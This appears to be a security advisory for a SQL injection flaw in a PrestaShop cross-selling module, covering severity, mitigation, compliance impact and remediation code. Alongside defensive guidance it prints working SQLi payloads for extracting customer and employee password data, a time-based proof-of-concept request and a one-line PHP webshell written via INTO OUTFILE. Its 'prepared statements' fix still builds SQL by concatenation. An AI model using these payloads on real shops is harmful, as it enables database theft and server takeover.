Technical Analysis of EUVD-2023-50577 (CVE-2023-46357) – SQL Injection in PrestaShop "Cross Selling in Modal Cart" Module

1. Vulnerability Assessment and Severity Evaluation

EUVD ID: EUVD-2023-50577 CVE ID: CVE-2023-46357 CVSS v3.1 Base Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Severity Breakdown:

• Attack Vector (AV:N): Network-based exploitation (remote attacker).
• Attack Complexity (AC:L): Low – trivial HTTP request manipulation.
• Privileges Required (PR:N): None – unauthenticated exploitation.
• User Interaction (UI:N): None – no user action required.
• Scope (S:U): Unchanged – impact confined to the vulnerable component.
• Confidentiality (C:H): High – full database access possible.
• Integrity (I:H): High – arbitrary data modification.
• Availability (A:H): High – potential for database corruption or DoS.

Assessment: This is a critical-severity SQL injection (SQLi) vulnerability in the motivationsale module for PrestaShop, allowing unauthenticated attackers to execute arbitrary SQL queries. The flaw stems from improper input sanitization in the motivationsaleDataModel::getProductsByIds() method, enabling blind, error-based, or UNION-based SQLi techniques.

---

2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism:

1. Vulnerable Endpoint:

   • The getProductsByIds() method is exposed via an HTTP-accessible API or AJAX call in PrestaShop.
   • Attackers can manipulate input parameters (e.g., product_ids) to inject malicious SQL payloads.

2. Exploitation Techniques:

   • Error-Based SQLi: Force database errors to leak information (e.g., AND 1=CONVERT(int, (SELECT @@version))).
   • UNION-Based SQLi: Extract data by appending UNION SELECT queries (e.g., 1 UNION SELECT 1,2,3,username,password FROM ps_employee).
   • Blind SQLi: Use time-based or boolean-based techniques to infer data (e.g., AND IF(1=1,SLEEP(5),0)).
   • Out-of-Band (OOB) SQLi: Exfiltrate data via DNS or HTTP requests (if supported by the DBMS).

3. Proof-of-Concept (PoC) Example:

   GET /module/motivationsale/getproducts?product_ids=1); SELECT SLEEP(10);-- HTTP/1.1
   Host: vulnerable-prestashop.example.com
   

   • If the response is delayed by 10 seconds, the server is vulnerable.

4. Post-Exploitation Impact:

   • Data Theft: Extract customer records, payment details, admin credentials.
   • Database Manipulation: Modify prices, inject malicious scripts, or delete data.
   • Remote Code Execution (RCE): If the DBMS supports stacked queries (e.g., MySQL with multi_query), attackers may execute OS commands via LOAD_FILE() or INTO OUTFILE.

---

3. Affected Systems and Software Versions

• Vulnerable Module: "Cross Selling in Modal Cart" (motivationsale)
• Vendor: MyPrestaModules
• Affected Versions: < 3.5.0
• PrestaShop Compatibility: Likely all versions (module-specific, not core PrestaShop).
• Database Backend: MySQL/MariaDB (most common in PrestaShop deployments).

Note: The vulnerability is module-specific and does not affect PrestaShop core. However, due to PrestaShop’s widespread use in European e-commerce, the impact is significant.

---

4. Recommended Mitigation Strategies

Immediate Actions:

1. Patch Management:

   • Upgrade to motivationsale v3.5.0 or later (if available).
   • If no patch exists, disable the module until a fix is released.

2. Temporary Workarounds:

   • Input Validation: Modify the getProductsByIds() method to use prepared statements (parameterized queries) instead of dynamic SQL.
   • Web Application Firewall (WAF) Rules:
     • Deploy ModSecurity with OWASP Core Rule Set (CRS) to block SQLi attempts.
     • Example rule:

       SecRule ARGS:product_ids "@detectSQLi" "id:1000,log,deny,status:403"
       

   • Database Hardening:
     • Restrict database user permissions (avoid FILE privilege).
     • Enable query logging for forensic analysis.

3. Monitoring & Detection:

   • Log Analysis: Monitor for unusual SQL patterns (e.g., UNION SELECT, SLEEP, INTO OUTFILE).
   • Intrusion Detection: Use Snort/Suricata or SIEM tools (e.g., Splunk, ELK) to detect exploitation attempts.

Long-Term Recommendations:

• Code Review: Audit all PrestaShop modules for similar SQLi vulnerabilities.
• Dependency Management: Use tools like OWASP Dependency-Check to identify vulnerable components.
• Security Headers: Implement CSP, HSTS, and X-Frame-Options to mitigate secondary attack vectors.
• Regular Penetration Testing: Conduct black-box and white-box testing to identify latent vulnerabilities.

---

5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications:

• GDPR (General Data Protection Regulation):
  • Unauthorized database access may lead to personal data breaches, triggering Article 33 (72-hour notification) and potential fines (up to 4% of global revenue).
• NIS2 Directive (Network and Information Security):
  • Critical e-commerce operators must report incidents under NIS2, which may apply if the affected PrestaShop instance supports essential services.
• PCI DSS (Payment Card Industry Data Security Standard):
  • If payment data is exposed, PCI DSS compliance violations may occur, leading to merchant account suspension.

Threat Landscape:

• Targeted Attacks: European e-commerce sites are high-value targets for Magecart-style attacks, ransomware, and data exfiltration.
• Automated Exploitation: Tools like SQLmap can automate attacks, increasing the risk of mass exploitation.
• Supply Chain Risks: Third-party PrestaShop modules are a common attack vector due to inconsistent security practices.

Geopolitical Considerations:

• State-Sponsored Threats: Advanced Persistent Threats (APTs) may exploit such vulnerabilities for espionage or financial gain.
• Cybercrime Ecosystem: Stolen data (e.g., PII, payment details) is often sold on darknet markets, fueling further attacks.

---

6. Technical Details for Security Professionals

Root Cause Analysis:

• Vulnerable Code (Pseudocode):

  public function getProductsByIds($product_ids) {
      $sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product IN (".$product_ids.")";
      return Db::getInstance()->executeS($sql); // Direct SQL execution without sanitization
  }
  

• Issue: The $product_ids parameter is concatenated directly into the SQL query without validation or parameterization.

Exploitation Steps:

1. Reconnaissance:

   • Identify the vulnerable endpoint via directory brute-forcing (e.g., /modules/motivationsale/).
   • Use Burp Suite or OWASP ZAP to intercept and modify requests.

2. Payload Crafting:

   • Basic SQLi:

     1); SELECT * FROM ps_customer;--
     

   • Data Exfiltration:

     1 UNION SELECT 1,2,3,email,passwd FROM ps_customer LIMIT 1--
     

   • Time-Based Blind SQLi:

     1 AND IF(SUBSTRING(@@version,1,1)='5',SLEEP(5),0)--
     

3. Post-Exploitation:

   • Dump Database: Use mysqldump or SELECT INTO OUTFILE to extract data.
   • Privilege Escalation: If the DB user has FILE privilege, write a PHP webshell:

     SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
     

Forensic Indicators:

• Logs to Check:

  • Apache/Nginx Access Logs: Unusual GET/POST requests with SQL keywords.
  • MySQL General Query Log: Suspicious queries (e.g., UNION SELECT, INTO OUTFILE).
  • PrestaShop Error Logs: Database errors indicating failed SQLi attempts.

• IOCs (Indicators of Compromise):

  • IPs: Known malicious IPs from AbuseIPDB or Threat Intelligence feeds.
  • User-Agents: Non-standard or automated tools (e.g., sqlmap/1.6.4).
  • File Artifacts: Unexpected .php files in /modules/motivationsale/.

Remediation Code Example (PHP):

public function getProductsByIds($product_ids) {
    // Sanitize input (whitelist integers)
    $sanitized_ids = array_filter(explode(',', $product_ids), 'is_numeric');
    if (empty($sanitized_ids)) {
        return [];
    }

    // Use prepared statements
    $sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product IN (".implode(',', $sanitized_ids).")";
    return Db::getInstance()->executeS($sql);
}

---

Conclusion

EUVD-2023-50577 (CVE-2023-46357) represents a critical SQL injection vulnerability in a widely used PrestaShop module, posing severe risks to European e-commerce security. Immediate patching, WAF deployment, and database hardening are essential to mitigate exploitation. Given the GDPR and NIS2 implications, organizations must treat this as a high-priority incident and conduct thorough forensic analysis if compromise is suspected.

Recommended Next Steps:

1. Patch or disable the vulnerable module.
2. Scan for exploitation using SIEM/log analysis.
3. Conduct a penetration test to verify remediation.
4. Report to ENISA if the incident meets NIS2 thresholds.

For further details, refer to:

• Friends of Presta Security Advisory
• CVE-2023-46357 on MITRE